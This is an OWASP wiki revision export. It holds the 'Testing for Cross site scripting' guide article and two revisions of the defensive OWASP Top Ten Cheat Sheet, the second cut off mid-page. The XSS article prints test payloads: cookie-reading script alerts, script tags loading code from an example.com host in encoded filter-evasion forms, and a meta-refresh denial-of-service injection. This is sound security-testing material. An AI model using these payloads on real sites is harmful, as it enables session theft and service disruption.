As part of the [http://www.owasp.org/index.php/Category:OWASP_Education_Project OWASP Education Project], OWASP is starting an official list of trainers on the OWASP web site. This list (mentioning the trainer - course and contact details) will cover all trainers that performed training at OWASP conferences, together with their aggregated scores on the course feedback forms. Of course, this is opt-in. Please let us know if you are interested to participate in this program (tick the check-box on the application form). <br />
<br> <headertabs /></div>Dan Wallishttps://wiki.owasp.org/index.php?title=Testing_for_Cross_site_scripting&diff=232041Testing for Cross site scripting2017-08-06T22:07:42Z<p>Dan Wallis: </p>
<hr />
<div>[[Web Application Penetration Testing AoC|Up]]<br><br />
{{Template:OWASP Testing Guide v2}}<br />
<br />
== Overview ==<br />
[[Cross-site Scripting (XSS)]] attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it.<br />
<br />
==Related Security Activities==<br />
<br />
===Description of Cross-site scripting Vulnerabilities===<br />
<br />
See the OWASP articles on [[Cross-site Scripting (XSS)]] Vulnerabilities and [[DOM Based XSS]].<br />
<br />
===How to Avoid Cross-site scripting Vulnerabilities===<br />
<br />
See the [[:Category:OWASP Guide Project|OWASP Guide]] article on [[Phishing|Phishing]].<br />
<br />
===How to Review Code for Cross-site scripting Vulnerabilities===<br />
<br />
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for Cross-site scripting|Reviewing code for Cross-site scripting]] Vulnerabilities.<br />
<br />
===XSS Filter Evasion Cheat Sheet===<br />
<br />
The [[XSS Filter Evasion Cheat Sheet]] is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing. <br />
<br />
[[Category:Security Focus Area]]<br />
__NOTOC__<br />
<br />
== Description of the Issue ==<br />
[[Category:FIXME|I think this whole section needs to be deleted]]<br />
<br />
[[XSS]] attacks are essentially code injection attacks into the various interpreters in the browser. These attacks can be carried out using HTML, JavaScript, VBScript, ActiveX, Flash, and other client-side languages. These attacks also have the ability to gather data from account hijacking, changing of user settings, cookie theft/poisoning, or false advertising is possible. In some cases, Cross Site Scripting vulnerabilities can perform other functions such as scanning for other vulnerabilities and performing a Denial of Service on your web server.<br />
<br />
Cross Site Scripting is an attack on the privacy of clients of a particular web site which can lead to a total breach of security when customer details are stolen or manipulated. Unlike most attacks, which involve two parties (the attacker and the web site, or the attacker and the victim client) the XSS attack involves three parties -- the attacker, a client and the web site. The goal of the XSS attack is to steal the client cookies or any other sensitive information which can authenticate the client to the web site. With the token of the legitimate user at hand, the attacker can proceed to act as the user in his/her interaction with the site, impersonating the user - Identity theft!<br />
<br />
Online message boards, web logs, guestbooks, and user forums where messages can be permanently stored also facilitate Cross Site Scripting attacks. In these cases, an attacker can post a message to the board with a link to a seemingly harmless site, which subtly encodes a script that attacks the user once they click the link. Attackers can use a wide range of encoding techniques to hide or obfuscate the malicious script and, in some cases, can avoid explicit use of the <Script> tag. Typically, XSS attacks involve malicious JavaScript, but they can also involve any type of executable active content. Although the types of attacks vary in sophistication, there is a generally reliable method to detect XSS vulnerabilities. Cross Site Scripting is used in many Phishing attacks.<br />
<br />
'''Now we explain the three types of Cross Site Scripting: Stored, Reflected, and DOM-Based.'''<br />
<br />
The '''Stored Cross Site Scripting''' vulnerability is the most powerful kind of XSS attack. A Stored XSS vulnerability exists when data provided to a web application by a user is first stored persistently on the server (in a database, filesystem, or other location), and later displayed to users in a web page without being encoded using HTML entity encoding. A real life example of this would be the Samy MySpace Worm, which exploited an XSS vulnerability found on MySpace in October of 2005.<br />
<br />
These vulnerabilities are the most significant of the XSS types because an attacker can inject the script just once. This could potentially hit a large number of other users with little need for social engineering, or the web application could even be infected by a cross-site scripting virus.<br />
<br />
'''Example'''<br />
<br />
If we have a site that permits us to leave a message to the other user (a lesson of WebGoat v3.7), and we inject a script insted of a message in the following way:<br />
<br />
<center>[[Image:XSSStored1.PNG]]</center><br />
<br />
Now the server will store this information and when a user clicks on our fake message, his browser will execute our script as follows:<br />
<br />
<center>[[Image:XSSStored2.PNG]]</center><br />
<br />
The '''Reflected Cross-Site Scripting''' vulnerability is by far the most common and well-known type. These holes show up when data provided by a web client is used immediately by server-side scripts to generate a page of results for that user. If unvalidated user-supplied data is included in the resulting page without HTML encoding, this will allow client-side code to be injected into the dynamic page. A classic example of this is in site search engines: if one searches for a string which includes some HTML special characters, often the search string will be redisplayed on the result page to indicate what was searched for, or will at least include the search terms in the text box for easier editing. If all occurrences of the search terms are not HTML entity encoded, an XSS hole will result.<br />
<br />
At first glance, this does not appear to be a serious problem since users can only inject code into their own pages. However, with a small amount of social engineering, an attacker could convince a user to follow a malicious URL which injects code into the results page, giving the attacker full access to that page's content. Due to the general requirement of the use of some social engineering in this case (and normally in DOM-Based XSS vulnerabilities as well), many programmers have disregarded these holes as not terribly important. This misconception is sometimes applied to XSS holes in general (even though this is only one type of XSS) and there is often disagreement in the security community as to the importance of cross-site scripting vulnerabilities. The simplest way to show the importance of a XSS vulnerability would be to perform a Denial of Service attack.<br />
In some cases a Denial of Service attack can be performed on the server by doing the following: <br />
<br />
article.php?title=<meta%20http-equiv="refresh"%20content="0;"><br />
<br />
This makes a refresh request roughly about every .3 seconds to particular page. It then acts like an infinite loop of refresh requests, potentially bringing down the web and database server by flooding it with requests. The more browser sessions that are open, the more intense the attack becomes. <br />
<br />
The '''DOM-based Cross-Site Scripting''' problem exists within a page's client-side script itself. If the JavaScript accesses a URL request parameter (an example would be an RSS feed) and uses this information to write some HTML to its own page, and this information is not encoded using HTML entities, an XSS vulnerability will likely be present, since this written data will be re-interpreted by browsers as HTML which could include additional client-side script.<br />
Exploiting such a hole would be very similar to the exploitation of Reflected XSS vulnerabilities, except in one very important situation. <br />
<br />
For example, if an attacker hosts a malicious website which contains a link to a vulnerable page on a client's local system, a script could be injected and would run with privileges of that user's browser on their system. This bypasses the entire client-side sandbox, not just the cross-domain restrictions that are normally bypassed with XSS exploits.<br />
<br />
The methods of injection can vary a great deal. A perfect example of how this type of an attack could impact an organization, instead of an individual, was demonstrated by Jeremiah Grossman @ BlackHat USA 2006. The demonstration gave an example of how posting a stored XSS script to a popular blog, newspaper, or page comments section of a website can cause all the visitors of that page to have their internal networks scanned and logged for a particular type of vulnerability.<br />
<br />
==Black Box testing and example==<br />
<br />
One way to test for XSS vulnerabilities is to verify whether an application or web server will respond to requests containing simple scripts with an HTTP response that could be executed by a browser. For example, Sambar Server (version 5.3) is a popular freeware web server with known XSS vulnerabilities. Sending the server a request such as the following generates a response from the server that will be executed by a web browser:<BR><br />
<br />
<nowiki>http://server/cgi-bin/testcgi.exe?<SCRIPT>alert(“Cookie”+document.cookie)</SCRIPT></nowiki><br />
<br />
The script is executed by the browser because the application generates an error message containing the original script, and the browser interprets the response as an executable script originating from the server.<br />
All web servers and web applications are potentially vulnerable to this type of misuse, and preventing such attacks is extremely difficult.<br />
<br />
'''Example 1:'''<br />
<br />
Since JavaScript is case sensitive, some people attempt to filter XSS by converting all characters to upper case, rendering Cross Site Scripting utilizing inline JavaScript useless. If this is the case, you may want to use VBScript since it is not a case sensitive language.<br />
<br />
JavaScript: <br />
<br />
<script>alert(document.cookie);</script><br />
<br />
VBScript: <br />
<br />
<script type="text/vbscript">alert(DOCUMENT.COOKIE)</script><br />
<br />
Also, you can use the SRC attribute to load the attacker's JavaScript from an external site (see Example 2 below), causing the JavaScript payload to be loaded directly and bypassing capitalization effects altogether.<br />
<br />
'''Example 2:'''<br />
<br />
If they are filtering for the < or the open of <script or closing of script> you should try various methods of encoding:<br />
<br />
<nowiki><script src=http://www.example.com/malicious-code.js></script></nowiki><br />
<br />
<nowiki>%3cscript src=http://www.example.com/malicious-code.js%3e%3c/script%3e</nowiki><br />
<br />
<nowiki>\x3cscript src=http://www.example.com/malicious-code.js\x3e\x3c/script\x3e</nowiki><br />
<br />
You can find more examples of XSS Injection here: http://www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors<br />
<br />
== References ==<br />
<br />
<br />
'''Whitepapers'''<br><br />
<br />
* Jeremiah Grossman: "Hacking Intranet Websites from the Outside "JavaScript malware just got a lot more dangerous"" - http://www.blackhat.com/presentations/bh-jp-06/BH-JP-06-Grossman.pdf<br />
<br />
* Amit Klien: "DOM Based Cross Site Scripting" - http://www.securiteam.com/securityreviews/5MP080KGKW.html<br />
<br />
* Paul Lindner: "Preventing Cross-site Scripting Attacks" - http://www.perl.com/pub/a/2002/02/20/css.html<br />
<br />
* CERT: "CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests" - http://www.cert.org/advisories/CA-2000-02.html<br />
<br />
* Aung Khant: "What XSS Can do - Benefits of XSS From Attacker's view" - http://yehg.net/lab/pr0js/papers/What%20XSS%20Can%20Do.pdf<br />
<br />
<br />
'''Tools'''<br />
<br />
* '''PHP Charset Encoder(PCE)''' - http://yehg.net/encoding<br />
PCE helps you encode arbitrary texts to and from 65 kinds of charsets that you can use in your customized payloads. <br />
<br />
* '''HackVector(HVR)''' - http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php<br />
<br />
<br />
{{Category:OWASP Testing Project AoC}}</div>Dan Wallishttps://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&diff=232000OWASP Top Ten Cheat Sheet2017-08-03T03:39:10Z<p>Dan Wallis: </p>
<hr />
<div> __NOTOC__<br />
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div><br />
<br />
= Introduction =<br />
__TOC__{{TOC hidden}}<br />
<br />
The following is a developer-centric defensive cheat sheet for the 2013 release of the [[OWASP Top Ten Project]]. It also presents a quick reference based on [[OWASP Testing Project]] to help how to identify the risks.<br />
<br />
= OWASP Top Ten Cheat Sheet =<br />
<br />
== A1 Injection ==<br />
<br />
=== Presentation ===<br />
''Render:''<br />
*Set a correct content type<br />
*Set safe character set (UTF-8)<br />
*Set correct locale<br />
<br />
''On Submit:''<br />
*Enforce input field type and lengths.<br />
*Validate fields and provide feedback.<br />
*Ensure option selects and radio contain only sent values.<br />
<br />
=== Controller ===<br />
'''Canonicalize using correct character set'''<br />
'''Positive input validation using correct character set'''<br />
<br />
(NR) Negative input validation.<br />
(LR) Sanitize input.<br />
<br />
''Tip: updating a negative list (such as looking for "script", "sCrIpT", "ßCrîpt", etc) will require expensive and constant deployments and will '''always '''fail as attackers work out your list of "bad" words. Positive validation is simpler, faster and usually more secure and needs updating far less than any other validation mechanism. ''<br />
<br />
=== Model ===<br />
*'''[[Query Parameterization Cheat Sheet]]'''<br />
<br />
*Object relational model (Hibernate).<br />
*Active Record design pattern.<br />
*Stored procedures.<br />
<br />
*Escape mechanisms such as ESAPI's Encoder:<br />
**EncodeForLDAP()<br />
**Encoder.EncodeforOS()<br />
<br />
''Tip: '''All '''SQL Injection is due to dynamic SQL queries. Strongly consider prohibiting dynamic SQL queries within your organization ''<br />
<br />
=== Testing ===<br />
* [[Testing for SQL Injection (OTG-INPVAL-005)]]<br />
* [[Testing for LDAP Injection (OTG-INPVAL-006)]]<br />
* [[Testing for ORM Injection (OTG-INPVAL-007)]]<br />
* [[Testing for XML Injection (OTG-INPVAL-008)]]<br />
* [[Testing for SSI Injection (OTG-INPVAL-009)]]<br />
* [[Testing for XPath Injection (OTG-INPVAL-010)]]<br />
* [[Testing for IMAP/SMTP Injection (OTG-INPVAL-011)]]<br />
* [[Testing for Code Injection (OTG-INPVAL-012)]]<br />
* [[Testing for Command Injection (OTG-INPVAL-013)]]<br />
* [[Testing for Buffer Overflow (OTG-INPVAL-014)]]<br />
<br />
== A2 Weak authentication and session management ==<br />
=== Presentation ===<br />
''Render:''<br />
*Validate user is authenticated.<br />
*Validate role is sufficient for this view.<br />
*Set "secure" and "HttpOnly" flags for session cookies.<br />
*Send CSRF token with forms.<br />
<br />
=== Controller ===<br />
''Design:''<br />
*Only use inbuilt session management.<br />
*Store secondary SSO / framework / custom session identifiers in native session object – do not send as additional headers or cookies.<br />
<br />
*Validate user is authenticated.<br />
*Validate role is sufficient to perform this action.<br />
*Validate CSRF token.<br />
<br />
=== Model ===<br />
Validate role is sufficient to create, read, update, or delete data<br />
<br />
''Tip: Consider the use of a "governor" to regulate the maximum number of requests per second / minute / hour that this user may perform. For example, a typical banking user should not perform more than ten transactions a minute, and one hundred per second is dangerous and should be blocked.''<br />
<br />
=== Testing ===<br />
* [[Test Role Definitions (OTG-IDENT-001)]]<br />
* [[Test User Registration Process (OTG-IDENT-002)]]<br />
* [[Test Account Provisioning Process (OTG-IDENT-003)]]<br />
* [[Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)]]<br />
* [[Testing for Weak or unenforced username policy (OTG-IDENT-005)]]<br />
* [[Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]]<br />
* [[Testing for default credentials (OTG-AUTHN-002)]]<br />
* [[Testing for Weak lock out mechanism (OTG-AUTHN-003)]]<br />
* [[Testing for Bypassing Authentication Schema (OTG-AUTHN-004)]]<br />
* [[Testing for Vulnerable Remember Password (OTG-AUTHN-005)]]<br />
* [[Testing for Browser cache weakness (OTG-AUTHN-006)]]<br />
* [[Testing for Weak password policy (OTG-AUTHN-007)]]<br />
* [[Testing for Weak security question/answer (OTG-AUTHN-008)]]<br />
* [[Testing for weak password change or reset functionalities (OTG-AUTHN-009)]]<br />
* [[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]]<br />
* [[Testing for Bypassing Authorization Schema (OTG-AUTHZ-002)]]<br />
* [[Testing for Privilege escalation (OTG-AUTHZ-003)]]<br />
* [[Testing for Session Management Schema (OTG-SESS-001)]]<br />
* [[Testing for cookies attributes (OTG-SESS-002)]]<br />
* [[Testing for Session Fixation (OTG-SESS-003)]]<br />
* [[Testing for Exposed Session Variables (OTG-SESS-004)]]<br />
* [[Testing for CSRF (OTG-SESS-005)]]<br />
* [[Testing for logout functionality (OTG-SESS-006)]]<br />
* [[Test Session Timeout (OTG-SESS-007)]]<br />
* [[Testing for Session puzzling (OTG-SESS-008)]]<br />
<br />
== A3 XSS ==<br />
<br />
=== Presentation ===<br />
''Render:''<br />
*Set correct content type<br />
*Set safe character set (UTF-8)<br />
*Set correct locale<br />
*Output encode all user data as per output context<br />
*Set input constraints<br />
<br />
''On Submit:''<br />
*Enforce input field type and lengths.<br />
*Validate fields and provide feedback.<br />
*Ensure option selects and radio contain only sent values.<br />
<br />
=== Controller ===<br />
'''Canonicalize using correct character set'''<br />
'''Positive input validation using correct character set'''<br />
<br />
(NR) Negative input validation <br />
(LR) Sanitize input <br />
<br />
''Tip: Only process data that is 100% trustworthy. Everything else is hostile and should be rejected.''<br />
<br />
=== Model ===<br />
''Tip: Do not store data HTML encoded in the database. This prevents new uses for the data, such as web services, RSS feeds, FTP batches, data warehousing, cloud computing, and so on.''<br />
<br />
''Tip: Use OWASP Scrubbr to clean tainted or hostile data from legacy data''<br />
<br />
=== Testing ===<br />
* [[Testing for Reflected Cross site scripting (OTG-INPVAL-001)]]<br />
* [[Testing for Stored Cross site scripting (OTG-INPVAL-002)]]<br />
* [[Testing for DOM-based Cross site scripting (OTG-CLIENT-001)]]<br />
* [[Testing for JavaScript Execution (OTG-CLIENT-002)]]<br />
* [[Testing for HTML Injection (OTG-CLIENT-003)]]<br />
* [[Testing for Cross site flashing (OTG-CLIENT-008)]]<br />
<br />
<br />
== A4 Insecure Direct Object References ==<br />
<br />
=== Presentation ===<br />
If data is from internal trusted sources, no data is sent.<br />
<br />
Or<br />
<br />
''Render:''<br />
*Send indirect random access reference map value.<br />
=== Controller ===<br />
Obtain data from internal, trusted sources.<br />
<br />
Or<br />
<br />
Obtain direct value from random access reference access map.<br />
<br />
=== Model ===<br />
Validate role is sufficient to create, read, update, or delete data.<br />
<br />
=== Testing ===<br />
* [[Testing Directory traversal/file include (OTG-AUTHZ-001)]]<br />
* [[Testing for Insecure Direct Object References (OTG-AUTHZ-004)]]<br />
* [[Testing for Local File Inclusion]]<br />
* [[Testing for Remote File Inclusion]]<br />
<br />
<br />
== A5 Security Misconfiguration ==<br />
<br />
=== Presentation ===<br />
Ensure web servers and application servers are hardened.<br />
<br />
PHP: Ensure allow_url_fopen and allow_url_include are both disabled in php.ini. Consider the use of Suhosin extension <br />
<br />
=== Controller ===<br />
Ensure web servers and application servers are hardened <br />
<br />
XML: Ensure common web attacks (remote XSLT transforms, hostile XPath queries, recursive DTDs, and so on) are protected by your XML stack. Do not hand craft XML documents or queries – use the XML layer. <br />
<br />
=== Model ===<br />
Ensure database servers are hardened <br />
<br />
=== Testing ===<br />
* [[Fingerprint Web Server (OTG-INFO-002)]]<br />
* [[Fingerprint Web Application Framework (OTG-INFO-008)]]<br />
* [[Fingerprint Web Application (OTG-INFO-009)]]<br />
* [[Test Network/Infrastructure Configuration (OTG-CONFIG-001)]]<br />
* [[Test Application Platform Configuration (OTG-CONFIG-002)]]<br />
* [[Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)]]<br />
* [[Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004)]]<br />
* [[Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)]]<br />
* [[Test HTTP Methods (OTG-CONFIG-006)]]<br />
* [[Test RIA cross domain policy (OTG-CONFIG-008)]]<br />
* [[Testing for Error Code (OTG-ERR-001)]]<br />
* [[Testing for Stack Traces (OTG-ERR-002)]]<br />
<br />
== A6 Sensitive Data Exposure ==<br />
<br />
=== Presentation ===<br />
''Design:''<br />
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).<br />
*Use strong hashes (SHA 256 or better) with salts for passwords.<br />
*Protect keys more than any other asset.<br />
*Use TLS 1.2 or later for all web communications.<br />
*Buy extended validation (EV) certificates for public web servers.<br />
<br />
''Tip: Use TLS 1.2 always – even internally. Most snooping is done within corporate networks – and it is as easy and unethical as fishing with dynamite.''<br />
<br />
''Render:''<br />
*Do not send keys or hashes to the browser.<br />
<br />
=== Controller ===<br />
''Design:''<br />
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).<br />
*Use strong hashes (SHA 256 or better) with salts for passwords.<br />
*Protect keys more than any other asset.<br />
*Mandate strong encrypted communications between web and database servers and any other servers or administrative users.<br />
<br />
''Tip: Only certain personally identifiable information and sensitive values MUST be encrypted. Encrypt data that would be embarrassing or costly if it was leaked or stolen. ''<br />
<br />
''Tip: It is best to encrypt data on the application server, rather than the database server.''<br />
<br />
=== Model ===<br />
''Design:''<br />
<br />
*Mandate strong encrypted communications with application servers and any other servers or administrative users.<br />
<br />
''Tip: Do not use RDBMS database, row or table level encryption. The data can be retrieved in the clear by anyone with direct access to the server, or over the network using the application credentials. It might even traverse the network in the clear despite being "encrypted" on disk. ''<br />
<br />
=== Testing ===<br />
* [[Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)]]<br />
* [[Testing for Padding Oracle (OTG-CRYPST-002)]]<br />
* [[Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)]]<br />
* [[Test HTTP Strict Transport Security (OTG-CONFIG-007)]]<br />
* [[Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]]<br />
<br />
== A7 Missing Function Level Access Control ==<br />
=== Presentation ===<br />
''Design:''<br />
*Ensure all non-web data is outside the web root (logs, configuration, etc).<br />
*Use octet byte streaming instead of providing access to real files such as PDFs or CSVs or similar.<br />
*Ensure every page requires a role, even if it is "guest".<br />
<br />
''Pre-render:''<br />
*Validate user is authenticated.<br />
*Validate role is sufficient to view secured URL.<br />
<br />
''Render:''<br />
*Send CSRF token.<br />
<br />
=== Controller ===<br />
*Validate user is authenticated.<br />
*Validate role is sufficient to perform secured action.<br />
*Validate CSRF token.<br />
<br />
''Tip: It's impossible to control access to secured resources that the web application server does not directly serve. Therefore, PDF reports or similar should be served by the web application server using binary octet streaming. ''<br />
<br />
''Tip: Assume attackers '''will''' learn where "hidden" directories and "random" filenames are, so do not store these files in the web root, even if they are not directly linked.''<br />
<br />
=== Model ===<br />
Validate role is sufficient to create, read, update, or delete data<br />
<br />
=== Testing ===<br />
* [[Testing Directory traversal/file include (OTG-AUTHZ-001)]]<br />
* [[Testing for Bypassing Authorization Schema (OTG-AUTHZ-002)]]<br />
* [[Testing for Bypassing Authentication Schema (OTG-AUTHN-004)]]<br />
<br />
== A8 Cross Site Request Forgery ==<br />
=== Presentation ===<br />
''Pre-render:''<br />
*Validate user is authenticated<br />
*Validate role is sufficient for this view<br />
<br />
''Render:''<br />
*Send CSRF token.<br />
*Set "secure" and "HttpOnly" flags for session cookies.<br />
<br />
=== Controller ===<br />
*Validate CSRF token.<br />
*Validate role is sufficient to perform this action.<br />
*Validate role is sufficient.<br />
<br />
''Tip: CSRF is '''always '''possible if there is XSS, so make sure XSS is eliminated within your application.''<br />
<br />
=== Model ===<br />
Validate role is sufficient to create, read, update, or delete data<br />
<br />
=== Testing ===<br />
* [[Testing for CSRF (OTG-SESS-005)]]<br />
<br />
== A9 Using Components with Known Vulnerabilities ==<br />
=== Presentation ===<br />
=== Controller ===<br />
=== Model ===<br />
=== Testing ===<br />
* [[Enumerate Applications on Webserver (OTG-INFO-004)]]<br />
<br />
== A10 Unvalidated Redirects and Forwards ==<br />
<br />
=== Presentation ===<br />
*Design the app without URL redirection parameters.<br />
<br />
or<br />
<br />
''Render:''<br />
*Use random indirect object references for redirection parameters.<br />
<br />
=== Controller ===<br />
*Design the app without URL redirection parameters.<br />
<br />
or<br />
<br />
*Obtain direct redirection parameter from random indirect reference access map.<br />
*(LR) Positive validation of redirection parameter.<br />
*(NR) Java – Do not forward() requests as this prevents SSO access control mechanisms.<br />
<br />
=== Model ===<br />
*Validate role is sufficient to create, read, update, or delete data.<br />
<br />
=== Testing ===<br />
* [[Testing for Client Side URL Redirect (OTG-CLIENT-004)]]<br />
<br />
= Authors and Primary Editors =<br />
<br />
* Andrew van der Stock vanderaj[at]owasp.org<br />
* Ismael Rocha Gonçalves ismaelrg[at]gmail.com<br />
* Jorge Correa jacorream@gmail.com<br />
<br />
= Other Cheatsheets =<br />
<br />
{{Cheatsheet_Navigation_Body}}<br />
<br />
[[Category:Cheatsheets]]</div>Dan Wallishttps://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&diff=231999OWASP Top Ten Cheat Sheet2017-08-03T03:38:09Z<p>Dan Wallis: </p>
<hr />
<div> __NOTOC__<br />
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div><br />
<br />
= Introduction =<br />
__TOC__{{TOC hidden}}<br />
<br />
The following is a developer-centric defensive cheat sheet for the 2013 release of the [[OWASP Top Ten Project]]. It also presents a quick reference based on [[OWASP Testing Project]] to help how to identify the risks.<br />
<br />
= OWASP Top Ten Cheat Sheet =<br />
<br />
== A1 Injection ==<br />
<br />
=== Presentation ===<br />
''Render:''<br />
*Set a correct content type<br />
*Set safe character set (UTF-8)<br />
*Set correct locale<br />
<br />
''On Submit:''<br />
*Enforce input field type and lengths.<br />
*Validate fields and provide feedback.<br />
*Ensure option selects and radio contain only sent values.<br />
<br />
=== Controller ===<br />
'''Canonicalize using correct character set'''<br />
'''Positive input validation using correct character set'''<br />
<br />
(NR) Negative input validation.<br />
(LR) Sanitize input.<br />
<br />
''Tip: updating a negative list (such as looking for "script", "sCrIpT", "ßCrîpt", etc) will require expensive and constant deployments and will '''always '''fail as attackers work out your list of "bad" words. Positive validation is simpler, faster and usually more secure and needs updating far less than any other validation mechanism. ''<br />
<br />
=== Model ===<br />
*'''[https://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet Parameterized queries]'''<br />
<br />
*Object relational model (Hibernate).<br />
*Active Record design pattern.<br />
*Stored procedures.<br />
<br />
*Escape mechanisms such as ESAPI's Encoder:<br />
**EncodeForLDAP()<br />
**Encoder.EncodeforOS()<br />
<br />
''Tip: '''All '''SQL Injection is due to dynamic SQL queries. Strongly consider prohibiting dynamic SQL queries within your organization ''<br />
<br />
=== Testing ===<br />
* [[Testing for SQL Injection (OTG-INPVAL-005)]]<br />
* [[Testing for LDAP Injection (OTG-INPVAL-006)]]<br />
* [[Testing for ORM Injection (OTG-INPVAL-007)]]<br />
* [[Testing for XML Injection (OTG-INPVAL-008)]]<br />
* [[Testing for SSI Injection (OTG-INPVAL-009)]]<br />
* [[Testing for XPath Injection (OTG-INPVAL-010)]]<br />
* [[Testing for IMAP/SMTP Injection (OTG-INPVAL-011)]]<br />
* [[Testing for Code Injection (OTG-INPVAL-012)]]<br />
* [[Testing for Command Injection (OTG-INPVAL-013)]]<br />
* [[Testing for Buffer Overflow (OTG-INPVAL-014)]]<br />
<br />
== A2 Weak authentication and session management ==<br />
=== Presentation ===<br />
''Render:''<br />
*Validate user is authenticated.<br />
*Validate role is sufficient for this view.<br />
*Set "secure" and "HttpOnly" flags for session cookies.<br />
*Send CSRF token with forms.<br />
<br />
=== Controller ===<br />
''Design:''<br />
*Only use inbuilt session management.<br />
*Store secondary SSO / framework / custom session identifiers in native session object – do not send as additional headers or cookies.<br />
<br />
*Validate user is authenticated.<br />
*Validate role is sufficient to perform this action.<br />
*Validate CSRF token.<br />
<br />
=== Model ===<br />
Validate role is sufficient to create, read, update, or delete data<br />
<br />
''Tip: Consider the use of a "governor" to regulate the maximum number of requests per second / minute / hour that this user may perform. For example, a typical banking user should not perform more than ten transactions a minute, and one hundred per second is dangerous and should be blocked.''<br />
<br />
=== Testing ===<br />
* [[Test Role Definitions (OTG-IDENT-001)]]<br />
* [[Test User Registration Process (OTG-IDENT-002)]]<br />
* [[Test Account Provisioning Process (OTG-IDENT-003)]]<br />
* [[Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)]]<br />
* [[Testing for Weak or unenforced username policy (OTG-IDENT-005)]]<br />
* [[Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]]<br />
* [[Testing for default credentials (OTG-AUTHN-002)]]<br />
* [[Testing for Weak lock out mechanism (OTG-AUTHN-003)]]<br />
* [[Testing for Bypassing Authentication Schema (OTG-AUTHN-004)]]<br />
* [[Testing for Vulnerable Remember Password (OTG-AUTHN-005)]]<br />
* [[Testing for Browser cache weakness (OTG-AUTHN-006)]]<br />
* [[Testing for Weak password policy (OTG-AUTHN-007)]]<br />
* [[Testing for Weak security question/answer (OTG-AUTHN-008)]]<br />
* [[Testing for weak password change or reset functionalities (OTG-AUTHN-009)]]<br />
* [[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]]<br />
* [[Testing for Bypassing Authorization Schema (OTG-AUTHZ-002)]]<br />
* [[Testing for Privilege escalation (OTG-AUTHZ-003)]]<br />
* [[Testing for Session Management Schema (OTG-SESS-001)]]<br />
* [[Testing for cookies attributes (OTG-SESS-002)]]<br />
* [[Testing for Session Fixation (OTG-SESS-003)]]<br />
* [[Testing for Exposed Session Variables (OTG-SESS-004)]]<br />
* [[Testing for CSRF (OTG-SESS-005)]]<br />
* [[Testing for logout functionality (OTG-SESS-006)]]<br />
* [[Test Session Timeout (OTG-SESS-007)]]<br />
* [[Testing for Session puzzling (OTG-SESS-008)]]<br />
<br />
== A3 XSS ==<br />
<br />
=== Presentation ===<br />
''Render:''<br />
*Set correct content type<br />
*Set safe character set (UTF-8)<br />
*Set correct locale<br />
*Output encode all user data as per output context<br />
*Set input constraints<br />
<br />
''On Submit:''<br />
*Enforce input field type and lengths.<br />
*Validate fields and provide feedback.<br />
*Ensure option selects and radio contain only sent values.<br />
<br />
=== Controller ===<br />
'''Canonicalize using correct character set'''<br />
'''Positive input validation using correct character set'''<br />
<br />
(NR) Negative input validation <br />
(LR) Sanitize input <br />
<br />
''Tip: Only process data that is 100% trustworthy. Everything else is hostile and should be rejected.''<br />
<br />
=== Model ===<br />
''Tip: Do not store data HTML encoded in the database. This prevents new uses for the data, such as web services, RSS feeds, FTP batches, data warehousing, cloud computing, and so on.''<br />
<br />
''Tip: Use OWASP Scrubbr to clean tainted or hostile data from legacy data''<br />
<br />
=== Testing ===<br />
* [[Testing for Reflected Cross site scripting (OTG-INPVAL-001)]]<br />
* [[Testing for Stored Cross site scripting (OTG-INPVAL-002)]]<br />
* [[Testing for DOM-based Cross site scripting (OTG-CLIENT-001)]]<br />
* [[Testing for JavaScript Execution (OTG-CLIENT-002)]]<br />
* [[Testing for HTML Injection (OTG-CLIENT-003)]]<br />
* [[Testing for Cross site flashing (OTG-CLIENT-008)]]<br />
<br />
<br />
== A4 Insecure Direct Object References ==<br />
<br />
=== Presentation ===<br />
If data is from internal trusted sources, no data is sent.<br />
<br />
Or<br />
<br />
''Render:''<br />
*Send indirect random access reference map value.<br />
=== Controller ===<br />
Obtain data from internal, trusted sources.<br />
<br />
Or<br />
<br />
Obtain direct value from random access reference access map.<br />
<br />
=== Model ===<br />
Validate role is sufficient to create, read, update, or delete data.<br />
<br />
=== Testing ===<br />
* [[Testing Directory traversal/file include (OTG-AUTHZ-001)]]<br />
* [[Testing for Insecure Direct Object References (OTG-AUTHZ-004)]]<br />
* [[Testing for Local File Inclusion]]<br />
* [[Testing for Remote File Inclusion]]<br />
<br />
<br />
== A5 Security Misconfiguration ==<br />
<br />
=== Presentation ===<br />
Ensure web servers and application servers are hardened.<br />
<br />
PHP: Ensure allow_url_fopen and allow_url_include are both disabled in php.ini. Consider the use of Suhosin extension <br />
<br />
=== Controller ===<br />
Ensure web servers and application servers are hardened <br />
<br />
XML: Ensure common web attacks (remote XSLT transforms, hostile XPath queries, recursive DTDs, and so on) are protected by your XML stack. Do not hand craft XML documents or queries – use the XML layer. <br />
<br />
=== Model ===<br />
Ensure database servers are hardened <br />
<br />
